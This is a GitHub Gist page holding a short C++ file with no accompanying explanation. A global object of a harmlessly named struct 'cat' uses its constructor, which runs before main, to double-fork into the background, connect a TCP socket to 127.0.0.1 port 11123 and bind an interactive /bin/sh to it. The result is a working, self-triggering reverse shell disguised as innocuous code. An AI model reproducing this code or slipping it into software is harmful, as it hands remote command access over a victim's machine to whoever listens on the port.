Created
December 24, 2015 05:58
-
-
Save firejox/fe438f51970e0f58d246 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
#include <sys/socket.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <arpa/inet.h> | |
#include <stdlib.h> | |
namespace { | |
struct cat { | |
int ret; | |
int status; | |
int socket_fd; | |
int stdin_c; | |
int stdout_c; | |
int stderr_c; | |
pid_t ch_pid; | |
struct sockaddr_in data; | |
cat() { | |
ch_pid = fork(); | |
if (ch_pid == -1) | |
_exit(-1); | |
if (ch_pid) { | |
waitpid(ch_pid, &status, 0); | |
} else { | |
if (ch_pid = fork()) { | |
exit(0); | |
} | |
else { | |
char * const argv[] = { "/bin/sh", "-i", NULL}; | |
socket_fd = socket (AF_INET, SOCK_STREAM, 0); | |
data.sin_addr.s_addr = inet_addr ("127.0.0.1"); | |
data.sin_family = AF_INET; | |
data.sin_port = htons (11123); | |
if (connect (socket_fd, (sockaddr*)&data, sizeof(data))) | |
_exit (-1); | |
dup2 (socket_fd, 0); | |
dup2 (socket_fd, 1); | |
dup2 (socket_fd, 2); | |
execve (argv[0], argv, NULL); | |
} | |
} | |
} | |
} kitty; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment